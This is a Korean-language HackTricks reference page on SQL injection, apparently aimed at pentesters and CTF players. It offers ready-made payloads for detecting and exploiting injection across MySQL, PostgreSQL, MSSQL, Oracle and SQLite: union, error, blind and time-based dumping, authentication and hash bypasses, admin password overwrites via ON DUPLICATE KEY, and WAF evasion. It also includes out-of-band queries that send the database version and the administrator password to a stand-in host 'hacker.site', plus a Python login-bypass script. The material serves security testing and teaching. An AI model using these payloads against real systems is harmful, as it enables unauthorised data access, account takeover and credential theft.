SQL Injection

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

​​​​RootedCON스페인에서 가장 관련성이 높은 사이버 보안 이벤트이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 것을 사명으로 하는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.

SQL 인젝션이란 무엇인가?

SQL 인젝션은 공격자가 애플리케이션의 데이터베이스 쿼리에 간섭할 수 있게 해주는 보안 결함입니다. 이 취약점은 공격자가 보지 못해야 할 데이터, 즉 다른 사용자의 정보나 애플리케이션이 접근할 수 있는 모든 데이터를 조회, 수정 또는 삭제할 수 있게 합니다. 이러한 행동은 애플리케이션의 기능이나 콘텐츠에 영구적인 변경을 초래하거나 서버의 손상 또는 서비스 거부를 초래할 수 있습니다.

진입점 탐지

사이트가 SQLi 관련 입력에 대한 비정상적인 서버 응답으로 인해 SQL 인젝션(SQLi)에 취약한 것으로 보일 때, 첫 번째 단계쿼리를 방해하지 않고 데이터 주입 방법을 이해하는 것입니다. 이는 현재 컨텍스트에서 효과적으로 벗어나는 방법을 식별해야 합니다. 다음은 유용한 몇 가지 예입니다:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

그런 다음, 오류가 없도록 쿼리를 수정하는 방법을 알아야 합니다. 쿼리를 수정하기 위해 데이터를 입력하여 이전 쿼리가 새 데이터를 수용하도록 하거나, 그냥 데이터를 입력하고 끝에 주석 기호를 추가할 수 있습니다.

쿼리가 작동할 때와 작동하지 않을 때 오류 메시지를 볼 수 있거나 차이를 발견할 수 있다면 이 단계는 더 쉬울 것입니다.

주석

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

논리 연산으로 확인하기

SQL 인젝션 취약점을 확인하는 신뢰할 수 있는 방법은 논리 연산을 실행하고 예상 결과를 관찰하는 것입니다. 예를 들어, ?username=Peter와 같은 GET 매개변수가 ?username=Peter' or '1'='1로 수정했을 때 동일한 콘텐츠를 생성하면 SQL 인젝션 취약점이 있음을 나타냅니다.

마찬가지로, 수학적 연산의 적용은 효과적인 확인 기술로 작용합니다. 예를 들어, ?id=1?id=2-1에 접근했을 때 동일한 결과가 생성되면 SQL 인젝션을 나타냅니다.

논리 연산 확인을 보여주는 예:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

이 단어 목록은 제안된 방법으로 SQLinjections를 확인하기 위해 생성되었습니다:

811B
sqli-logic.txt

타이밍으로 확인하기

일부 경우에는 테스트 중인 페이지에서 변화를 감지하지 못할 수 있습니다. 따라서 블라인드 SQL injections를 발견하는 좋은 방법은 DB가 작업을 수행하게 하여 페이지 로드에 영향을 미치는 시간을 만드는 것입니다. 따라서 SQL 쿼리에 완료하는 데 많은 시간이 걸리는 작업을 연결할 것입니다:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

일부 경우에 sleep 함수가 허용되지 않을 수 있습니다. 그런 경우, 이러한 함수를 사용하는 대신 쿼리를 복잡한 작업을 수행하도록 만들어 여러 초가 걸리게 할 수 있습니다. 이러한 기술의 예는 각 기술에 대해 별도로 주석을 달 예정입니다 (있는 경우).

백엔드 식별

백엔드를 식별하는 가장 좋은 방법은 다양한 백엔드의 함수를 실행해보는 것입니다. 이전 섹션의 sleep 함수 또는 다음의 함수들을 사용할 수 있습니다 (table from payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

또한, 쿼리의 출력에 접근할 수 있다면 데이터베이스의 버전을 출력할 수 있습니다.

우리는 다양한 종류의 SQL Injection을 악용하는 다양한 방법에 대해 논의할 것입니다. MySQL을 예로 사용할 것입니다.

PortSwigger로 식별하기

유니온 기반 악용

열의 수 감지

쿼리의 출력을 볼 수 있다면 이것이 가장 좋은 악용 방법입니다. 우선, 초기 요청이 반환하는 열의 수를 찾아야 합니다. 이는 두 쿼리가 동일한 수의 열을 반환해야 하기 때문입니다. 이 목적을 위해 일반적으로 두 가지 방법이 사용됩니다:

Order/Group by

쿼리의 열 수를 결정하기 위해 ORDER BY 또는 GROUP BY 절에서 사용된 숫자를 점진적으로 조정하여 잘못된 응답이 수신될 때까지 진행합니다. SQL 내에서 GROUP BYORDER BY의 기능이 다르지만, 두 가지 모두 쿼리의 열 수를 확인하는 데 동일하게 활용될 수 있습니다.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

쿼리가 올바를 때까지 더 많은 null 값을 선택하십시오:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

null 값을 사용해야 합니다. 경우에 따라 쿼리 양쪽의 열 유형이 동일해야 하며 null은 모든 경우에 유효합니다.

데이터베이스 이름, 테이블 이름 및 열 이름 추출

다음 예제에서는 모든 데이터베이스의 이름, 데이터베이스의 테이블 이름, 테이블의 열 이름을 검색합니다:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

모든 데이터베이스에서 이 데이터를 발견하는 방법은 다르지만, 항상 동일한 방법론입니다.

숨겨진 유니온 기반 활용

쿼리의 출력이 보이지만 유니온 기반 주입이 불가능해 보일 때, 이는 숨겨진 유니온 기반 주입의 존재를 나타냅니다. 이 시나리오는 종종 블라인드 주입 상황으로 이어집니다. 블라인드 주입을 유니온 기반으로 변환하려면 백엔드에서 실행되는 쿼리를 파악해야 합니다.

이는 블라인드 주입 기술과 대상 데이터베이스 관리 시스템(DBMS)에 특정한 기본 테이블을 사용하여 수행할 수 있습니다. 이러한 기본 테이블을 이해하기 위해서는 대상 DBMS의 문서를 참조하는 것이 좋습니다.

쿼리가 추출되면, 원래 쿼리를 안전하게 종료하도록 페이로드를 조정해야 합니다. 그 후, 유니온 쿼리를 페이로드에 추가하여 새로 접근 가능한 유니온 기반 주입을 활용할 수 있습니다.

더 포괄적인 통찰력을 원하시면 Healing Blind Injections에서 제공되는 전체 기사를 참조하세요.

오류 기반 활용

어떤 이유로 쿼리출력볼 수 없지만 오류 메시지볼 수 있는 경우, 이 오류 메시지를 사용하여 데이터베이스에서 데이터를 유출할 수 있습니다. 유니온 기반 활용과 유사한 흐름을 따라 DB를 덤프할 수 있습니다.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Blind SQLi 활용하기

이 경우 쿼리의 결과나 오류를 볼 수는 없지만, 쿼리가 true 또는 false 응답을 반환할 때 페이지의 내용이 다르기 때문에 이를 구별할 수 있습니다. 이 경우, 그 동작을 악용하여 데이터베이스를 문자 단위로 덤프할 수 있습니다:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiting Error Blind SQLi

이것은 이전과 동일한 경우이지만 쿼리의 true/false 응답을 구분하는 대신 SQL 쿼리에서 오류가 있는지 여부를 구분할 수 있습니다(아마도 HTTP 서버가 중단되기 때문입니다). 따라서 이 경우 올바른 문자를 추측할 때마다 SQL 오류를 강제로 발생시킬 수 있습니다:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

시간 기반 SQLi 활용

이 경우에는 페이지의 맥락에 따라 쿼리의 응답구별할 수 있는 방법이 없습니다. 그러나, 추측한 문자가 올바른 경우 페이지가 더 오래 로드되도록 만들 수 있습니다. 우리는 이미 타이밍을 사용하여 SQLi 취약점 확인하는 이 기술을 이전에 보았습니다.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

스택 쿼리를 사용하여 여러 쿼리를 연속으로 실행할 수 있습니다. 후속 쿼리가 실행되는 동안 결과응용 프로그램에 반환되지 않습니다. 따라서 이 기술은 주로 블라인드 취약점과 관련하여 사용되며, 두 번째 쿼리를 사용하여 DNS 조회, 조건부 오류 또는 시간 지연을 트리거할 수 있습니다.

Oracle스택 쿼리를 지원하지 않습니다. MySQL, MicrosoftPostgreSQL은 이를 지원합니다: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

다른 취약점 이용 방법이 작동하지 않는 경우, 데이터베이스가 정보를 당신이 제어하는 외부 호스트로 유출하도록 시도할 수 있습니다. 예를 들어, DNS 쿼리를 통해:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

XXE를 통한 대역 외 데이터 유출

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

자동화된 악용

sqlmap을 사용하여 SQLi 취약점을 악용하려면 SQLMap Cheetsheat를 확인하세요.

기술별 정보

우리는 이미 SQL Injection 취약점을 악용하는 모든 방법에 대해 논의했습니다. 이 책에서 데이터베이스 기술에 따라 더 많은 트릭을 찾아보세요:

또는 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection에서 MySQL, PostgreSQL, Oracle, MSSQL, SQLite 및 HQL에 관한 많은 트릭을 찾을 수 있습니다.

​​​​​RootedCON스페인에서 가장 관련성이 높은 사이버 보안 이벤트이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 임무를 가지고 이 컨그레스는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.

인증 우회

로그인 기능을 우회하기 위해 시도할 목록:

Login bypass List

원시 해시 인증 우회

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

이 쿼리는 인증 검사에서 원시 출력을 위해 true와 함께 MD5가 사용될 때의 취약점을 보여줍니다. 이로 인해 시스템이 SQL 인젝션에 취약해집니다. 공격자는 해시될 때 예상치 못한 SQL 명령 부분을 생성하는 입력을 조작하여 이를 악용할 수 있으며, 이는 무단 접근으로 이어질 수 있습니다.

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

주입된 해시 인증 우회

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

추천 목록:

각 줄의 목록을 사용자 이름으로 사용하고 비밀번호는 항상: Pass1234. (이 페이로드는 이 섹션의 시작 부분에 언급된 큰 목록에도 포함되어 있습니다)

1KB
sqli-hashbypass.txt

GBK 인증 우회

IF '가 이스케이프되고 있다면 %A8%27을 사용할 수 있으며, '가 이스케이프되면 다음이 생성됩니다: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

파이썬 스크립트:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

폴리글롯 인젝션 (다중 컨텍스트)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

기존 객체/사용자의 비밀번호 수정

이를 위해 **"마스터 객체"**라는 이름의 새 객체를 생성하려고 시도해야 합니다 (사용자의 경우 admin일 가능성이 높습니다) 뭔가를 수정하여:

  • 이름이 AdMIn인 사용자 생성 (대문자 및 소문자 혼합)

  • 이름이 **admin=**인 사용자 생성

  • SQL Truncation Attack (사용자 이름이나 이메일에 길이 제한이 있을 때) --> 이름이 admin [공백 많이] a인 사용자 생성

SQL Truncation Attack

데이터베이스가 취약하고 사용자 이름의 최대 문자 수가 예를 들어 30일 때, admin 사용자를 가장하려면: "admin [30 공백] a"라는 사용자 이름을 생성하고 아무 비밀번호나 사용해 보세요.

데이터베이스는 입력된 사용자 이름이 데이터베이스에 존재하는지 확인합니다. 존재하지 않으면, 사용자 이름최대 허용 문자 수잘라냅니다 (이 경우 "admin [25 공백]"로) 그리고 자동으로 끝의 모든 공백을 제거하여 데이터베이스 내에서 사용자 "admin"의 새 비밀번호로 업데이트합니다 (어떤 오류가 발생할 수 있지만, 이것이 작동하지 않았다는 의미는 아닙니다).

자세한 정보: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

참고: 이 공격은 최신 MySQL 설치에서 위와 같이 더 이상 작동하지 않습니다. 비교는 여전히 기본적으로 후행 공백을 무시하지만, 필드의 길이보다 긴 문자열을 삽입하려고 하면 오류가 발생하고 삽입이 실패합니다. 이 확인에 대한 자세한 정보는 다음을 참조하세요: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert 시간 기반 검사

VALUES 문을 종료하기 위해 필요한 만큼 ','',''를 추가하세요. 지연이 실행되면 SQLInjection이 있습니다.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

MySQL의 ON DUPLICATE KEY UPDATE 절은 UNIQUE 인덱스 또는 PRIMARY KEY에서 중복 값이 발생하는 행을 삽입하려고 할 때 데이터베이스가 수행할 작업을 지정하는 데 사용됩니다. 다음 예제는 이 기능이 관리자의 계정 비밀번호를 수정하는 데 어떻게 악용될 수 있는지를 보여줍니다:

Example Payload Injection:

주입 페이로드는 다음과 같이 작성될 수 있으며, 두 개의 행이 users 테이블에 삽입되려고 시도됩니다. 첫 번째 행은 미끼이고, 두 번째 행은 비밀번호를 업데이트할 의도로 기존 관리자의 이메일을 대상으로 합니다:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Here's how it works:

  • 쿼리는 두 개의 행을 삽입하려고 시도합니다: 하나는 generic_user@example.com을 위한 것이고, 다른 하나는 admin_generic@example.com을 위한 것입니다.

  • 만약 admin_generic@example.com에 대한 행이 이미 존재한다면, ON DUPLICATE KEY UPDATE 절이 트리거되어 MySQL에 기존 행의 password 필드를 "bcrypt_hash_of_newpassword"로 업데이트하도록 지시합니다.

  • 결과적으로, admin_generic@example.com을 사용하여 bcrypt 해시에 해당하는 비밀번호로 인증을 시도할 수 있습니다 ("bcrypt_hash_of_newpassword"는 새 비밀번호의 bcrypt 해시를 나타내며, 원하는 비밀번호의 실제 해시로 대체되어야 합니다).

Extract information

Creating 2 accounts at the same time

새 사용자와 사용자 이름을 생성하려고 할 때, 비밀번호와 이메일이 필요합니다:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

10진수 또는 16진수 사용

이 기술을 사용하면 1개의 계정만 생성하여 정보를 추출할 수 있습니다. 주의할 점은 아무것도 주석 처리할 필요가 없다는 것입니다.

hex2decsubstr 사용:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

텍스트를 얻으려면 다음을 사용할 수 있습니다:

__import__('binascii').unhexlify(hex(215573607263)[2:])

hexreplace (그리고 substr) 사용:

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

​​​​​​RootedCON스페인에서 가장 관련성이 높은 사이버 보안 이벤트이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 임무를 가지고, 이 컨그레스는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.

Routed SQL injection

Routed SQL injection은 주입 가능한 쿼리가 출력을 제공하지 않고, 주입 가능한 쿼리의 출력이 출력을 제공하는 쿼리로 전달되는 상황입니다. (From Paper)

Example:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF 우회

초기 우회는 여기에서

공백 없는 우회

No Space (%20) - 공백 대체를 사용한 우회

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - 주석을 사용한 우회

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - 괄호를 사용한 우회

?id=(1)and(1)=(1)--

No commas bypass

No Comma - OFFSET, FROM 및 JOIN을 사용한 우회

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Generic Bypasses

키워드를 사용한 블랙리스트 - 대문자/소문자를 사용하여 우회

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

대소문자 구분 없는 키워드를 사용한 블랙리스트 - 동등한 연산자를 사용하여 우회

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Scientific Notation WAF 우회

You can find a more in depth explaination of this trick in gosecure blog. 기본적으로 WAF를 우회하기 위해 예상치 못한 방식으로 과학적 표기를 사용할 수 있습니다:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

열 이름 제한 우회

먼저, 원래 쿼리와 플래그를 추출하려는 테이블의 열 수가 동일하다면 다음과 같이 할 수 있습니다: 0 UNION SELECT * FROM flag

열 이름을 사용하지 않고 테이블의 세 번째 열에 접근하는 것이 가능합니다 다음과 같은 쿼리를 사용하여: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, 따라서 sqlinjection에서는 다음과 같이 보일 것입니다:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

또는 comma bypass를 사용하여:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

이 트릭은 https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/에서 가져왔습니다.

WAF 우회 제안 도구

기타 가이드

브루트포스 탐지 목록

​​​​​​​RootedCON스페인에서 가장 관련성이 높은 사이버 보안 이벤트이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 임무를 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

Last updated